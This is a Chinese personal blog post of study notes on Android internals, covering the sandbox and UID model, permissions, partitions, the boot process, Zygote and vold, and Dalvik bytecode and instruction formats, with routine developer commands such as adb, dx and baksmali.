Jirairya

Android101

2020-02-17

这一段时间学习了些Android安全的相关知识点,在此做一下博客记录。后续深入学习,会继续添加博文内容。

安卓源码学习资源 : https://www.androidos.net.cn/sourcecode

应用

根据开发方式不同,大致分为三种:

  • Web应用:通过JS、H5等Web技术实现交互等功能。Web应用可以在移动设备的Web浏览器中运行,并通过向后台服务器请求Web页面来进行渲染。一个应用可以有浏览器渲染的版本,也可以作为独立应用的版本。
  • 原生应用:原生应用具有优良性能和高度可靠性。不需要从服务器获取支持,而且还能利用安卓系统提高的告诉本地支持,所以原生应用的响应速度很快。但是不能够跨平台。
  • 混合应用:使用Web技术(H5、JS等)编写,像原生应用一样在设备上运行。混合应用在原生容器中运行,利用设备的浏览器引擎在本地渲染HTML,并处理JS。混合运用能从Web应用到原生运用的抽象层访问设备上的接口,如加速器、摄像头、本地存储等,而Web应用不能访问这些接口。(常用PhoneGAP、React Native等框架开发)

应用程序沙盒

Android 沙箱的核心机制基于:

  • 标准的 Linux 进程隔离
  • 大多数进程拥有唯 一的用户 ID(UID)
  • 严格限制文件系统权限

即每个 Android 应用都处于各自的安全沙盒中,并受以下 Android 安全功能的保护:

  • Android 操作系统是一种多用户 Linux 系统,其中的每个应用都是一个不同的用户;
  • 默认情况下,系统会为每个应用分配一个唯一的 Linux 用户 ID(该 ID 仅由系统使用,应用并不知晓)。系统会为应用中的所有文件设置权限,使得只有分配给该应用的用户 ID 才能访问这些文件;
  • 每个进程都拥有自己的虚拟机 (VM),因此应用代码独立于其他应用而运行。
  • 默认情况下,每个应用都在其自己的 Linux 进程内运行。Android 系统会在需要执行任何应用组件时启动该进程,然后当不再需要该进程或系统必须为其他应用恢复内存时,其便会关闭该进程。

Android 系统沿用了 Linux 的 UID/GID(用户组 ID)权限模型,但并没有使用传统的 passwd 和 group 文件来存储用户与用户组的认证凭据,作为替代,Android 定义了从名称到独特标识符Android ID(AID)的映射表。初始的 AID 映射表包含了一些与特权用户及系统关键用户(如 system 用户/用户组)对应的静态保留条目。Android 还保留了一段 AID 范围,用于提供原生应用的 UID。从 AOSP 树的 system/core/include/private/android_filesystem_config.h 文件中找到 AID 的定义:

#define AID_ROOT         0 /*传统的 unix 跟用户*/ 
 
#define AID_SYSTEM    1000 /*系统服务器*/ 
 
#define AID_RADIO     1001 /*通话功能子系统,RIL*/ #define AID_BLUETOOTH 1002 /*蓝牙子系统*/
... 
#define AID_SHELL     2000 /*adb shell 与 debug shell 用户*/ 
#define AID_CACHE     2001 /*缓存访问*/ 
#define AID_DIAG      2002 /*访问诊断资源*/ 
 
/*编号 3000 系列只用于辅助用户组们,表示出了内核所支持的 Android 权能*/ 
#define AID_NET_BT_ADMIN 3001 /*蓝牙:创建套接字*/ 
#define AID_NET_BT       3002 /*蓝牙:创建 sco、rfcomm 或 l2cap 套接字*/
#define AID_INET         3003 /*能够创建 AF_INET 和 AF_INET6 套接字*/ 
#define AID_NET_RAW      3004 /*能够创建原始的 INET 套接字*/ 
    ... 
#define AID_APP            10000 /*第一个应用用户*/ 
#define AID_ISOLATED_START 99000 /*完全隔绝的沙箱进程中 UID 的开始编号 */ 
#define AID_ISOLATED_END   99999 /*完全隔绝的沙箱进程中 UID 的末尾编号*/ 
#define AID_USER          100000 /*每一用户的 UID 编号范围偏移*/ 

除了 AID,Android 还使用了辅助用户组机制,以允许进程访问共享或受保护的资源。除了 AID,Android 还使用了辅助用户组机制,以允许进程访问共享或受保护的资源。例如, sdcard_rw 用户组中的成员允许进程读写/sdcard 目录,因为它的加载项规定了哪些用户组可以读写该目录。

尽管所有的AID条目都映射到一个 UID和 GID,但是 UID在描述系统上的一个用户时并 不是必需的。例如,AIDD_SDCARD_RW 映射到 sdcard_rw,但是它仅仅用作一个辅助用 户组,而不是系统上的 UID。

除了用来实施文件系统访问,辅助用户组还会被用于向进程授予额外的权限。例如, AID_INET 用户组允许用户打开 AF_INETAF_INET6 套接字。在某些情况下,权限也可能以 Linux权能的形式出现,例如,AID_INET_ADMIN 用户组中的成员授予 CAP_NET_ADMIN 权能, 允许用户配置网络接口和路由表。

Android沙箱关键所在: 在应用执行时,它们的 UID、GID 和辅助用户组都会被分配给新创建的进程。在一个独特 UID 和 GID 环境下运行,使得操作系统可以在内核中实施底层的限制措施,也让运行环境能够 控制应用之间的交互。


Android 系统实现了最小权限原则。换言之,默认情况下,每个应用只能访问执行其工作所需的组件,而不能访问其他组件,这样便能创建非常安全的环境,在此环境中,应用无法访问其未获得权限的系统部分。不过,应用仍可通过一些途径与其他应用共享数据以及访问系统服务:

  • 通过使用应用包中的一种特殊指令,应用也可以共享同一 Linux 用户ID(UID),在此情况下,二者便能访问彼此的文件。为节省系统资源,也可安排拥有相同用户 ID 的应用在同一 Linux 进程中运行,并共享同一 VM。应用还必须使用相同的证书进行签名。
  • 应用可以请求访问设备数据(如用户的联系人、短信消息、可装载存储装置(SD 卡)、相机、蓝牙等)的权限。用户必须明确授予这些权限。

如NFC的APP(AndroidManifest.xml):

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
  package="com.android.nfc"
  android:sharedUserId="android.uid.nfc">

一个应用对应一个UID

每一个已安装的应用都会以不同的用户身份运行,以u0_开头。

adb -d shell ps

查看uid,可知上述的用户名分别对应了一个从10000开始的UID,u0_a后面的数字加上10000所得的值,即是UID:

cat /data/system/packages.xml

应用沙盒

每一个应用在/data/data文件夹中都有各自存储数据的入口。每个应用的目录都归自己所属有,其他应用不能读写这些目录,从而使得应用的数据独立存储在各自的沙盒环境中。

Android权限

Android的权限模型是多方面的,有API权限、文件系统权限、IPC(InterProcess Communication)权限。在很多情况下,这些权限都交织在一起,一些高级权限会后退映射到低级别的操作系统权能, 这可能包括打开套接字、蓝牙设备和文件系统路径等。

IPC知识可见 深刻理解Linux进程间通信(IPC),linux下进程间通信的几种主要手段:

  • 管道(Pipe)及命名管道(named pipe)
  • 信号(Signal)
  • 报文(Message)队列(消息队列)
  • 共享内存
  • 信号量(semaphore)
  • 套接口(Socket)

要确定应用用户的权限和辅助用户组,Android 系统会处理在应用包的 AndroidManifest.xml 文件中指定的高级权限。应用的权限由 PackageManager在安装时从应用的 Manifest文件中提取,并存储在/data/system/packages.xml文件 中。这些条目然后会在应用进程的实例化阶段用于向进程授予适当的权限(比如设置辅助用户组 GID)。

权限至用户组的映射表存储在/etc/permissions/platform.xml 文件中。它被用来确定应用设置的辅助用户组 GID。

在应用包条目中定义的权限后面会通过两种方式实施检查:

  • 一种检查在调用给定方法时进行,由运行环境实施
  • 另一种检查在操作系统底层进行,由库或内核实施

API权限

API 权限用于控制访问高层次的功能,这些功能存在于 Android API、框架层,以及某种情况下的第三方框架中。

一个使用API权限的常见例子是READ_PHONE_STATE,这个权限在Android 文档中定义为允许对手机状态的只读访问。应用若申请该权限,随后就会授予该权限,从而可以调用关于查询手机信息的多种方法,其中包括在TelephonyManager 类中定义的方法,如 getDeviceSoftwareVersiongetDeviceId 等。

一些 API权限与内核级的安全实施机制相对应。例如,被授予 INTERNET 权限, 意味着申请权限应用的 UID将会被添加到 inet 用户组(GID 3003)的成员中。该用户组的成员 具有打开 AF_INET AF_INET6 套接字的能力,而这是一些更高层次 API 功能(如创建 HttpURLConnection 对象)所必需的。

文件系统权限

Android 的应用沙箱严重依赖于严格的 Unix 文件系统权限模型。默认情况下,应用的唯一 UID和 GID都只能访问文件系统上相应的数据存储路径。注意,以下代码清单中的 UID和 GID (分别在第 3列和第 4列)对于目录都是唯一的,它们的权限被设置为只有这些 UID和 GID才能 访问这些目录:

相应地,由这些应用创建的文件也会拥有相应的权限设置:

特定的辅助用户组 GID用于访问共享资源,如SD卡或其他外部存储器。

IPC权限

IPC权限直接涉及应用组件(以及一些系统的 IPC设施)之间的通信,虽然与 API权限也有 一些重叠。这些权限的声明和检查实施可能发生在不同层次上,包括运行环境、库函数,或直接 在应用上。具体来说,这个权限集合应用于一些在 Android Binder IPC 机制之上建立的主要 Android应用组件。

Android系统的分区结构

分区是逻辑层存储单元用来区分设备内部的永久性存储结构。不同厂商和平台有不同的分区布局。两个不同的设备一般不具有相同的分区或相同的布局。然而在所有的Android设备中最常见的有Boot、Data、Recovery、Cache分区。通常情况下NAND闪存的设备都具备以下分区布局:

  • Boot Loader分区:系统加载器。相当于电脑的BIOS。在手机进入系统之前初始化软硬件环境、记载硬件设备、最终让手机成功启动。一般为了安全,厂商都会给BootLoader进行加密。加密后的Boot Loader仅仅能引导官方提供的固件,不能识别第三方固件。
  • Boot分区:存储着Android的Boot镜像,其中包含着Linux Kernel(zImage)与initrd等文件
  • Splash分区:主要是存储系统启动后第一屏显示的内容,一般是公司Logo或动画,存储在Boot Loader
  • Radio分区: 基带所在的分区,存储着与通信质量相关的Linux驱动,如电话、GPS、蓝牙、WiFi驱动等。常用的驱动是可以打包存在于Linux的内核Boot分区,但为了提升设备的通信质量,所以单独开辟了Radio分区。
  • Recovery分区:存储着一个mini型的Android Boot镜像文件,主要作用是用于故障维修和系统恢复(类似于Windows上的WinPE)
  • System分区:存储着Android系统镜像文件,镜像文件包含着Android的Framework、Libraries、Binaries和一些预装应用。系统挂载后即/system目录。
  • User Data分区:也称为数据分区,它是设备内部存储分区,如应用产生的图片、声音等数据文件。系统挂载后在/data目录下。
  • Cache分区:用于各种实用的文件,如回复日志和OTA下载的更新包。在应用程序安装在SD卡上时,它也可能包含Dalvik缓存文件夹,其中存储Dalvik虚拟机的缓存文件。

数据存储

Android中的一切都是文件,可以从/proc/filesystems中查看文件系统详情:

filesystems文件中存储了许多详细信息,比如内置应用、通过Google play安装的应用等。任何有物理访问权限的人都能从中获得敏感信息,如照片、密码、GPS位置信息、浏览记录等。

  • /data:存储应用数据。/data/data目录用于存储与应用相关的私人数据,如共享首选项、缓存、第三方库等。
  • /proc:存储与进程、文件系统、设备等相关的数据
  • /sdcard:对应内置SD卡。SD卡用于增加存储容量。/extsdcard则对应外置SD卡。

本地数据存储技术

存储应用数据的方法:

  • 共享首选项:共享首选项是一些XML文件,以键值对的形式存储应用的非敏感设置信息。所存储的数据类型是通常是boolean、float、int、long和string等。
  • SQLite数据库:SQLite数据库是基于文件的轻量级数据库,许多应用使用SQLite数据库存储数据。
  • 内部存储:每个应用都在/data/data/<应用包名>下创建各自的文件目录,这些目录对每个应用都是私有的,其他的应用是没有访问权限。当用户卸载应用后,这些目录中的文件将会被删除。
  • 外部存储:任何应用都能访问外部存储区域并读写文件。敏感文件不能存储在此。

除了外部存储方式外,其他存储方式都将数据存放在/data/data目录下的文件夹中,其中包含缓存、数据库、文件以及共享首选项这个四个文件夹。每个文件夹分别用于存放与应用相关的特定类型的数据:

  • shared_prefs:使用XML格式存放应用的偏好设置
  • lib:存放应用需要的或导入的库文件
  • databases:包含SQLite数据库文件
  • files:用于存放与应用相关的文件。
  • cache:用于存放缓存文件。

Android启动流程

Android系统的启动流程:

Android启动流程的步骤如下:

  1. 启动电源:当电源按下时引导芯片代码开始从预定义的地方(固化在ROM)开始执行。加载引导程序Bootloader到RAM,然后执行。
  2. 引导程序BootLoader执行:引导程序BootLoader是在Android操作系统开始运行前的一个小程序,它的主要作用是把系统OS拉起来并运行。
  3. Linux内核启动:内核启动时,设置缓存、被保护存储器、计划列表、加载驱动。当内核完成系统设置,它首先在系统文件中寻找init.rc文件,并启动init进程。
  4. init进程启动:初始化和启动属性服务,并且启动Zygote进程。
  5. Zygote进程启动: 创建JavaVM并为JavaVM注册JNI,创建服务端Socket,启动SystemServer进程。
  6. SystemServer进程启动:启动Binder线程池和SystemServiceManager,并且启动各种系统服务,例如:ActivityManagerService、PowerManagerService、PackageManagerService,BatteryService、UsageStatsService等其他80多个系统服务。
  7. Launcher启动:被SystemServer进程启动的ActivityManagerService会启动Launcher,Launcher启动后会将已安装应用的快捷图标显示到界面上。

属性服务

Android上的属性服务(property service)类似于Windows注册表,存储系统和软件的一些信息,进行相应的初始化或配置工作。属性服务提供了(每次启动都会载入的存储文件)内存映射、关键值配置设备功能。许多操作系统和框架组件依赖这些属性,包括项目如网络接口配置、系统服务的开关,甚至安全相关的设置。

属性可以通过多种方式进行读取和设置。例如,分别使用命令行实用程序 getprop setProp 进行读取和设置,在原生代码中分别使用 libcutils 库中的 property_getproperty_set 函数以编程方式读取和设置,或使用 android.os.SystemProperties 类 以编程方式读取和设置(这个类函数又会继续调用上述原生函数)。

属性服务的概述图:

使用getprop命令可以读取设备信息:

被设置为只读的一些属性不可更改,即便是 root用户(尽管有一些设备特有的例外情况)。 这些属性以 ro 为前缀:

存储类守护进程Vold

Vold(Volume Daemon)是存储类守护进程,Vold是负责系统的CDROM、USB大容量存储、MMC卡等扩展存储的挂载任务自动完成的守护进程。它的主要特定是支持这些存储外设的热插拔。

vold也处理 Android Secure Container(ASEC)文件的安装与卸载。当应用包存储到 FAT 等 不安全的文件系统上时,ASEC会对其进行加密处理。它们会在应用加载时通过环回(loopback) 设备进行安装,通常挂接到/mnt/asec

不透明二进制块(OBB)也是由 vold进行安装和卸载的。这些文件与应用共同打包,以存 储由一个共享密钥加密的数据。然而与 ASEC容器不同的是,对 OBB的安装和卸载是由应用自 身而非系统来执行的。

  • 创建链接:vold作为一个守护进程,一方面接收驱动的信息,并把信息传给应用层,另一方面接收上层的命令并完成相应功能
    • vold socket:负责vold与应用层的信息传递
    • 访问udev的socket:负责vold与底层的信息传递
  • 引导:这里指的是vold启动时对现有外设存储设备的处理。首先要加载并解析vold.conf,并检查挂载点是否已经被挂载;其次执行MMC卡挂载;最后处理USB大容量存储
  • 事件处理:通过对两个链接的监听,完成对动态事件的处理,以及对上层应用操作的响应。

vold 是以 root 身份运行的,它的功能和潜在的安全漏洞都值得注意

Dalvik虚拟机执行流程

Zygote是Android系统中所有进程的孵化器进程。Zygote启动后,会先初始化Dalvik虚拟机,再启动system_server进程并进入Zygote模式,通过socket等候命令的下达。在执行一个Android应用程序时,system_server进程通过Binder IPC方式将命令发送给Zygote。Zygote收到命令后,通过fork其自身创建一个Dalvik虚拟机的实例来执行应用程序的入口函数,从而完成程序的启动过程:

程序启动的过程

在初始启动后,Zygote通过 RPC和 IPC机制为其他 Dalvik进程提供程序库访问,这是承载 Android应用组件的进程实际启动的机制。

Zygote提供了三种创建进程的方法:

  • fork():创建一个Zygote进程
  • forkAndSpecialize():创建一个非Zygote进程
  • forkSystemServer(): 创建一个系统服务进程

进程fork成功后,执行工作将交给Dalvik虚拟机完成。Dalvik虚拟机先通过loadClassFromDex()函数来装载类。每个类被成功解析后,都会获得运行时环境中的一个ClassObject类型的数据结构存储(虚拟机使用gDvm.loadedClasses全局散列表来存储和查询所有装载进来的类)。接下来字节码验证器使用dvmVerifyCodeFlow()函数对装入的代码进行校验,虚拟机调用FindClass()函数查找并装载main()方法类。最后,虚拟机调用dvmInterpret()函数来初始化解释器并执行字节码流。

Android架构

Android 软件栈中与安全相关的组件,包括应用层、Android 框架层、 DalvikVM、用户空间的支持性原生代码与相关服务,以及 Linux 内核层。

以前的安卓架构:

现在的安卓架构:

现在的安卓架构

Android Framework层是Application层和Runtime层之间的粘合剂,Android Framework层提供了软件包和开发商执行常见任务的类。

  • 最底层的操作系统层
  • Android的硬件抽象层
  • 各种库和Android运行环境
  • Java 接口层
  • 系统应用层

Android 应用层

应用通常被分为两类:预装应用与用户安装的应用。

预装应用包括谷歌、原始设备制造商 (OEM)或移动运营商提供的应用,如日历、电子邮件、浏览器和联系人管理应用等。这些应用 的程序包保存在/system/app目录中。

用户安装的应用是指那些由用户自己安装的应用,无论是通过 Google Play商店等应用 市场直接下载,还是通过 pm install 或 adb install 进行安装。这些应用以及预安装应用的 更新都将保存在/data/app目录中。

Android在与应用相关的多种用途中使用公共密钥加密算法。首先,Android使用一个特殊的平台密钥来签署预安装的应用包。使用这个密钥签署的应用的特殊之处它们拥有system用户权 限。其次,第三方应用是由个人开发者生成的密钥签名的。对于预安装应用和用户安装应用,Android都使用签名机制来阻止未经授权的应用更新。

Android应用由无数个组件组成,而其中的四大组件代表IPC通信端点:

  • Activity
  • 服务:
  • 广播接收器
  • 内容提供程序

Android框架层

作为应用和运行时之间的连接纽带,Android 框架层为开发者提供了执行通用任务的部件——程序包及其类。这些任务可能包括管理UI元素、访问共享数据存储,以及在应用组件中传递消息 等。

用户空间原生代码层

操作系统用户空间内的原生代码构成了 Android系统的一大部分,这一层主要由两大类组件 构成:程序库和核心系统服务。

程序库

Android 框架层中的较高层次类所依赖的许多底层功能都是通过共享程序库的方式来实现,并通过 JNI (Java Native Interface,Java本地接口)进行访问的。在这其中,许多程序库都也是在其他类 Unix 系统中所使用的知名开源 项目。比如,SQLite提供了本地数据存储功能,Webkit 提供了可嵌入的Web 浏览器引擎,FreeType 提供了位图和矢量字体渲染功能。

供应商特定的程序库,即那些为某一设备型号提供硬件支持的代码库,保存在/vendor/lib(或 /system/vendor/lib)路径。其中包括对图形显示设备、GPS 收发器或蜂窝式无线电的底层支持库 等。非厂商特定的程序库则保存在/system/lib 路径中,通常会包括一些外部项目,比如像下面这些库:

  • libexif:一个JPEG EXIF格式的处理库。
  • libexpat:Expat的 XML解析器。
  • libaudioalsa/libtinyalsa:ALSA音频库。
  • libbluetooth:BlueZ Linux蓝牙库。
  • libdbus:D-Bus的 IPC库

并非所有的底层程序库都是标准的,Bionic就是一个值得注意的特例。。Bionic是 BSD C运行时库的一个变种,旨在提供更小的内存使用空间,更好的优化,同时避免产生 GNU公共 许可证(GPL)授权问题。这些差异也带来了少许代价。Bionic的 libc 并不像 GNU libc 那么 完整,甚至比不上 Bionic源头的 BSD libc 实现。Bionic中也包含了大量自己的代码,为了努力 降低 C运行时库的内存使用空间,Android开发者还实现了一个自定义的动态链接器和线程 API。

这些库是使用原生代码开发的,因而很容易出现内存破坏漏洞

核心服务

核心服务是指建立基本操作系统环境的服务与 Android原生组件。这些服务包括初始化用户空间的服务(如 init)、提供关键调试功能的服务(如 adbd和 debugggerd)等。

某些核心 服务可能是硬件或版本特定的

init

init程序通过执行一系列命令对用户空间环境进行初始化。然而, Android使用自定义的 init 实现。代替从/etc/init.d路径执行基于运行级别的 shell脚本,Android基于从/init.rc中找到的指令 来执行命令。对于设备特定的指令,可能存在一个名为/init.[hw].rc的文件,这里[hw]是特定设备的硬件代号。

Property服务

Property服务位于 Android的初始化服务中,它提供了一个持续性的(每次启动)、内存映射的、基于键值对的配置服务。许多操作系统和框架层的组件都依赖于这些属性,其中包括网络接 口配置、无线电选项甚至安全相关设置。可见文章的 Android启动流程章节中的属性服务

无线接口层

无线接口层(RIL)为智能手机提供了手机本身应该有通讯功能。 如果没有这个组件,Android 设备将无法拨打电话、发送或接收短信、或者在没有 Wi-Fi 网络时上网。因此,它会在任何拥有蜂窝数据或电话功能的 Android设备上运行。

debuggerd

Android 的基本崩溃报告功能是由一个称为 debuggerd 的守护进程提供的,当调试器守护进程启动时,它将打开到 Android日志功能的一个连接,然后在一个抽象名字空间套接字开始监听 客户端的连入。每次程序开始运行,链接器会安装信号处理程序,然后处理某些信号。

当要捕获的某个信号发生时,内核执行信号处理函数 debugger_signal_handler。这个 函数连接到之前提到的由 DEBUGGER_SOCKET_NAME 定义的套接字上,连接之后,链接器将通知 套接字的另一端(即 debuggerd)目标进程已经崩溃了。这会通知 debuggerd应该调用它的处理流 程并创建一个崩溃报告。

ADB

Android调试桥(ADB)是由几个部件组成的,包括在 Android设备上的 adbd守护进程,在宿主工作站上运行的adb服务器,以及相应的adb命令行客户端。adb服务器管理客户端与在目 标设备上运行的守护进程之间的连接,便于各种任务操作,比如执行一个 shell、调试应用(通过 Java调试网络协议)、套接字和端口转发、文件传输,以及安装/卸载应用包等。

可见工具章节中的adb部分

Volume守护进程

Volume 守护进程(或称为vold)是 Android系统上负责安装和卸载各种文件系统的服务。

可见Android启动流程章节中的存储类守护进程Vold

其他服务

在许多 Android设备上还运行着许多其他服务,提供一些不一定是必需的额外功能(取决于设备和服务):

Dalvik

DalvikVM是基于寄存器,而不是栈的。整体的开发流程大致如下:

  1. 开发者以类似Java的语法进行编码;
  2. 源代码被编译成.class文件(也类似于 Java);
  3. 得到的类文件被翻译成 Dalvik字节码;
  4. 所有类文件被合并为一个 Dalvik可执行文件(DEX)文件;
  5. 字节码被DalvikVM加载并解释执行。作为一个基于寄存器的虚拟机,Dalvik拥有大约 64000个虚拟寄存器,不过通常只会用到前16个,偶尔会用到前256个。

Dalvik虚拟机和Java虚拟机

  1. 运行的字节码不同。Java虚拟机运行的是Java字节码(在class文件),Dalvik虚拟机运行的是Dalvik字节码(由Java字节码转换而来,被打包在DEX可执行文件中)
  2. Dalvik可执行文件的体积更小。在Android SDK中,由dx工具将Java字节码转换为Dalvik字节码。dx能重新排列Java类文件,消除类文件中出现的所有冗余信息,避免虚拟机在初始化时反复加载和解析文件。
  3. 虚拟机架构不同。Java虚拟机基于栈架构;Dalvik虚拟机是基于寄存器架构数据的访问直接在寄存器之间传递

ART和Dalvik

ART (Android Runtime)的机制与 Dalvik 不同。在Dalvik下,应用每次运行的时候,字节码都需要通过即时编译器(just in time ,JIT)转换为机器码,这会拖慢应用的运行效率,而在ART 环境中,应用在第一次安装的时候,字节码就会预先编译成机器码,使其成为真正的本地应用。这个过程叫做预编译(AOT,Ahead-Of-Time)。这样的话,应用的启动(首次)和执行都会变得更加快速。

Dalvik指令格式

可参见 https://source.android.google.cn/devices/tech/dalvik/instruction-formats

一段Dalvik汇编代码由一系列Dalvik指令组成,指令语法由指令的位描述与指令格式标识来决定。位描述约定如下:

  • 每16位的字采用空格分隔开来。
  • 每个字母表示4位,每个字母按顺序从高字节开始,排列到低字节。每4位之间可能使用竖线 | 来表示不同的内容。
  • 顺序采用 A ~ Z 的单个大写字幕作为一个4位的操作码,op表示一个8位的操作码。
  • Φ 来表示这字段所有位为0值。

以指令格式 A|G|op BBBB F|E|D|C 为例:

  • 指令中间有两个空格,每个分开的部分大小为16位,所以这条指令由三个16位的字组成。
  • 第一个16位是 A|G|op,高8位由A与G组成,低字节由操作码op组成。
  • 第二个16位由 BBBB 组成,它表示一个16位的偏移值。
  • 第三个16位分别由F、E、D、C 共4个4字节组成,在这里他们表示寄存器参数。

单独使用位表示还无法确定一条指令,必须通过指令格式标识来指定格式的格式编码。它的约定如下:

  • 指令格式标识大多由三个字符组成,前两个是数字,最后一个是字母。
  • 第一个数字是表示指令有多少个16位的字组成。
  • 第二个数字是表示指令最多使用寄存器的个数。特殊标记 r 标识使用一定范围内的寄存器。
  • 第三个字母为类型码,表示指令用到的额外数据的类型。取值见如下表。
助记符 位大小 说 明
b 8 8位有符号立即数
c 16,32 常量池索引
f 16 接口常量(仅对静态链接格式有效)
h 16 有符号立即数(32位或64位数的高值位,低值位为0)
i 32 立即数,有符号整数或32位浮点数
l 64 立即数,有符号整数或64位双精度浮点数
m 16 方法常量(仅对静态链接格式有效)
n 4 4位的立即数
s 16 短整型立即数
t 8, 16, 32 跳转,分支
x 0 无额外数据

一种特殊的情况是指令的末尾多出一个字母,如果是字母s,表示指令采用静态链接;如果是字母i,表示指令应该被内联处理。

Dalvik指令对语法做了一些说明,它约定如下:

  • 每条指令从操作码开始,后面紧跟参数,参数个数不定,每个参数之间采用逗号分开。
  • 每条指令的参数从指令第一部分开始,op位于低8位,高8位可以是一个8位的参数,也可以是两个4位的参数,还可以为空,如果指令超过16位,则后面部分一次作为参数
  • 如果参数采用 vX的方式表示,表示它是一个寄存器,如v0、v1等。这里采用v而不用r是为了避免与基于该虚拟机架构本身的寄存器名字产生冲突,如ARM架构寄存器命名采用r开头。
  • 如果参数采用 #+X 的方式表示,表明它是一个常量数字。
  • 如果参数采用 +X 的方式表示,表明它是一个相对指令的地址偏移。
  • 如果参数采用 kind@X 的方式表示,表明它是一个常量池的索引值。其中kind表示常量池类型,它可以是 string 字符串常量池索引)、type(类型常量池索引)、field(字段常量池索引)或者 meth(方法常量池索引)。

编译与反汇编

编译Java源文件:

javac Hello.java

生成DEX文件:

dx --dex --output=Hello.dex Hello.class

javap反编译Hello.class:

javap -c -classpath . Hello
Compiled from "Hello.java"

dexdump查看foo()函数的Dalvik字节码:

dexdump -d Hello.dex

foo函数的Dalvik字节码

还在https://bitbucket.org/JesusFreke/smali/downloads/ 可以下载baksmali工具做反汇编:

java -jar baksmali-2.3.4.jar disassemble ~/Desktop/androidbook_code/chapter3/Hello/Hello.dex 

dexdump使用的是v开头的寄存器(v命名法),baksmali则同时使用vp开头的寄存器(p命名法):

V命名法和P命名法的区别:

p 命名法 v 命名法 寄存器含义
v0 v0 第一个局部寄存器
v1 v1 第二个局部寄存器
中间的局部变量寄存器递增且名称相同
p0 vN-M-1 第1个参数寄存器
中间的参数寄存器递增
pM-1 vN-1 第M个参数寄存器

Dalvik 寄存器都是 32 位的,如果是 64 位的数据,则使用相邻的两个寄存器来表示。

v命名法采用以小写字母v开头的方式表示函数中用到的局部变量与参数,所有的寄存器命名从v0开始,依次递增。对于foo函数,v命名法会用到v0,v1,v2,v3,v4这五个寄存器,v0和v 1表示的是局部变量寄存器,v2表示的是被传入的Hello对象的引用,v3和v4分别表示两个传入的整形参数。

p命名法对函数的局部变量寄存器命名没有什么影响,它主要是函数中引入的参数命名从p0开始,依次递增。对于foo函数来说,p命名法会用到v0,v1,p0,p1,p2这五个寄存器,v0和v1表示局部变量寄存器,p0表示的是被传入的Hello对象的引用,p1和p2分别表示两个传入的整形参数。

Dalvik字节码

类型

Dalvik字节码分为基本类型和引用类型,除了对象和数组属于引用对象,其他的Java类型都属于基本类型。

语法 含义
V void
Z boolean
B byte
S short
C char
I int
J long
F float
D double
L 对象类型
[ 数组类型
  • 对象类型格式是 L<包名>/<类名>;,如 String 表示为 Ljava/lang/String;
  • 数组类型格式是 [ 加上类型,如 int[] 表示为 [Iint[][] 表示为 [[I

方法

Dalvik 使用方法名、类型参数和返回值来描述一个方法。方法格式如下:

Lpackage/name/ObjectName;->MethodName(III)Z

Lpackage/name/ObjectName应该理解成一个类型,MethodName为具体的方法名,III为方法的参数(在此为三个整型参数),z表示方法的返回类型(布尔类型)

Java 代码和 smali代码对应:

# Java
String method(int, int [][], int, String, Object[])

# smali
.method method(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
.end method

baksmali生成的方法代码以.method指令开始,以.end method指令结束,根据方法类型的不同,在方法指令前可能会添加#添加注释。如#virtual methods表示这是一个虚方法,#dirext methods表示这是一个直接方法。

字段

字段和方法相似,只是字段没有方法签名域中的参数和返回值,取代它们的是字段的类型。字段格式如下:

Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;

字段由类型(Lpackage/name/ObjectName)、字段名(FieldName)与字段类型(Ljava/lang/String),字段名与字段类型用冒号分开。

baksmali生成的字段代码以.field指令开头,根据字段类型的不同,在字段指令前可能会用#添加注释。例如,# instance fields表示这是一个实例字段,# static fields表示一个静态字段。

Dalvik指令集

空操作指令

空操作指令的助记符为 nop,值为 00,通常用于对齐代码,不做实际操作。

数据操作指令

数据操作指令为 move,原型为 move destination, source

  • move vA, vB:vB -> vA,都是 4 位
  • move/from16 vAA, vBBBB:vBBBB -> vAA,源寄存器 16 位,目的寄存器 8 位
  • move/16 vAAAA, vBBBB:vBBBB -> vAAAA,都是 16 位
  • move-wide vA, vB:4 位的寄存器对赋值,都是 4 位
  • move-wide/from16vAA, vBBBBmove-wide/16 vAAAA, vBBBB:与 move-wide 相同
  • move-object vA, vB:对象赋值,都是 4 位
  • move-object/from16 vAA, vBBBB:对象赋值,源寄存器 16 位,目的寄存器 8 位
  • move-object/16 vAAAA, vBBBB:对象赋值,都是 16 位
  • move-result vAA:将上一个 invoke 类型指令操作的单字非对象结果赋值给 vAA 寄存器
  • move-result-wide vAA:将上一个 invoke 类型指令操作的双字非对象结果赋值给 vAA 寄存器
  • move-result-object vAA:将上一个 invoke 类型指令操作的对象结果赋值给 vAA 寄存器
  • move-exception vAA:保存一个运行时发生的异常到 vAA 寄存器

返回指令

基础字节码为 return

  • return-void:从一个 void 方法返回
  • return vAA:返回一个 32 位非对象类型的值,返回值寄存器位 8 位的寄存器 vAA
  • return-wide vAA:返回一个 64 位非对象类型的值,返回值寄存器为 8 位的 vAA
  • return-object vAA:返回一个对象类型的值,返回值寄存器为 8 位的 vAA

数据定义指令

基础字节码为 const

  • const/4 vA, #+B:将数值符号扩展为 32 位后赋值给寄存器 vA
  • const/16 vAA, #+BBBB:将数值符号扩展为 32 位后赋值给寄存器 vAA
  • const vAA, #+BBBBBBBB:将数值赋值给寄存器 vAA
  • const/high16 vAA, #+BBBB0000:将数值右边零扩展为 32 位后赋值给寄存器 vAA
  • const-wide/16 vAA, #+BBBB:将数值符号扩展为 64 位后赋值给寄存器 vAA
  • const-wide/32 vAA, #+BBBBBBBB:将数值符号扩展为 64 位后赋值给寄存器 vAA
  • const-wide vAA, #+BBBBBBBBBBBBBBBB:将数值赋给寄存器对 vAA
  • const-wide/high16 vAA, #+BBBB000000000000:将数值右边零扩展为 64 位后赋值给寄存器对 vAA
  • const-string vAA, string@BBBB:通过字符串索引构造一个字符串并赋值给寄存器 vAA
  • const-string/jumbo vAA, string@BBBBBBBB:通过字符串索(较大)引构造一个字符串并赋值给寄存器 vAA
  • const-class vAA, type@BBBB:通过类型索引获取一个类引用并赋值给寄存器 vAA
  • const-class/jumbo vAAAA, type@BBBBBBBB:通过给定的类型索引获取一个类引用,并赋值给寄存器 vAAAA。这条指令占用两个字节,值为 0x00ff

锁指令

用在多线程程序中对同一对象操作。

  • monitor-enter vAA:为指定的对象获取锁
  • monitor-exit vAA:释放指定的对象的锁

实例操作指令

  • check-cast vAA, type@BBBB:用于将VAA寄存器中的对象引用转换成指定的类型,如果失败会抛出ClassCastException异常。如果类型B指定的是基本类型,那么对非基本类型的类型A来说,会运行失败。
